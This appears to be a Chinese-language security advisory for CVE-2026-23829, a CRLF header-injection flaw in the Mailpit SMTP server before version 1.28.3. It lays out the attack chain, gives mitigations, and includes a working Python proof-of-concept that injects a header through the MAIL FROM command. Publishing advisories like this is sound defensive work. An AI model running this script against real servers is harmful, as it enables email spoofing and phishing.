IPBUF安全漏洞报告
English
CVE-2026-23829 CVSS 5.3 中危

CVE-2026-23829 Mailpit SMTP服务器邮件头注入漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-23829
漏洞类型
邮件头注入
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Mailpit

相关标签

邮件头注入SMTPMailpitCVE-2026-23829Header Injection输入验证不充分中危漏洞

漏洞概述

Mailpit是一款面向开发者的邮件测试工具和API。在1.28.3之前的版本中,其SMTP服务器存在邮件头注入漏洞。问题根源在于验证RCPT TO和MAIL FROM地址时使用的正则表达式存在缺陷,未能正确过滤回车符(\r)和换行符(\n)字符。攻击者可以利用此漏洞在邮件中注入任意SMTP头或破坏现有邮件头的完整性,从而进行钓鱼攻击、垃圾邮件分发或其他恶意活动。由于该漏洞利用无需认证且可远程发起,因此构成中等安全风险。

技术细节

该漏洞存在于Mailpit的SMTP服务器组件中,具体位于邮件地址验证逻辑。当服务器接收到RCPT TO或MAIL FROM命令时,会使用正则表达式对输入的邮件地址进行验证。问题在于该正则表达式使用字符类来过滤控制字符,但实现方式存在疏漏:正则表达式中的字符类虽然意图过滤控制字符,但却遗漏了对\r(回车符)和\n(换行符)的排除。攻击者可以在邮件地址中嵌入这些字符,从而在SMTP协议层面注入任意的邮件头字段。例如,通过构造包含\r\n的恶意地址,攻击者可以在邮件中插入额外的Header字段或覆盖现有字段内容。这种注入不仅影响邮件内容的完整性,还可能被用于绕过垃圾邮件过滤器或进行社会工程学攻击。

攻击链分析

STEP 1
步骤1
攻击者连接到目标Mailpit服务器的SMTP端口(默认1025)
STEP 2
步骤2
发送EHLO命令进行SMTP会话初始化
STEP 3
步骤3
在MAIL FROM或RCPT TO命令中注入包含\r\n的恶意邮件地址
STEP 4
步骤4
通过CRLF注入在邮件中插入额外的SMTP头字段,如X-Injected-Header
STEP 5
步骤5
完成DATA命令发送恶意构造的邮件内容
STEP 6
步骤6
邮件被发送,注入的头字段被邮件系统解析,可能用于钓鱼攻击或绕过安全过滤

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import ssl def exploit_mailpit_header_injection(target_host, target_port=1025): """ PoC for CVE-2026-23829: Mailpit SMTP Header Injection This demonstrates how to inject arbitrary headers via RCPT TO or MAIL FROM """ # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # Receive greeting response = sock.recv(1024) print(f"[+] Server: {response.decode().strip()}") # Send EHLO sock.send(b"EHLO test.example.com\r\n") response = sock.recv(1024) print(f"[+] EHLO Response: {response.decode().strip()}") # Inject arbitrary header via MAIL FROM with CRLF injection # Inject X-Injected-Header: [email protected] malicious_from = "MAIL FROM:<[email protected]\r\nX-Injected-Header: [email protected]>\r\n" sock.send(malicious_from.encode()) response = sock.recv(1024) print(f"[+] MAIL FROM Response: {response.decode().strip()}") # Continue with normal RCPT TO sock.send(b"RCPT TO:<[email protected]>\r\n") response = sock.recv(1024) print(f"[+] RCPT TO Response: {response.decode().strip()}") # Send DATA command sock.send(b"DATA\r\n") response = sock.recv(1024) print(f"[+] DATA Response: {response.decode().strip()}") # Send email body email_body = "Subject: Test Email\r\n\r\nThis is a test email.\r\n." sock.send(email_body.encode()) response = sock.recv(1024) print(f"[+] Email Send Response: {response.decode().strip()}") # Quit sock.send(b"QUIT\r\n") sock.close() print("[+] Connection closed") if __name__ == "__main__": target = "mailpit-server.local" port = 1025 exploit_mailpit_header_injection(target, port)

影响范围

Mailpit < 1.28.3

防御指南

临时缓解措施
如果无法立即升级,可通过配置防火墙限制对SMTP端口的访问,仅允许受信任的IP访问。同时可部署邮件网关进行额外的安全检查,检测邮件头中的异常字符模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表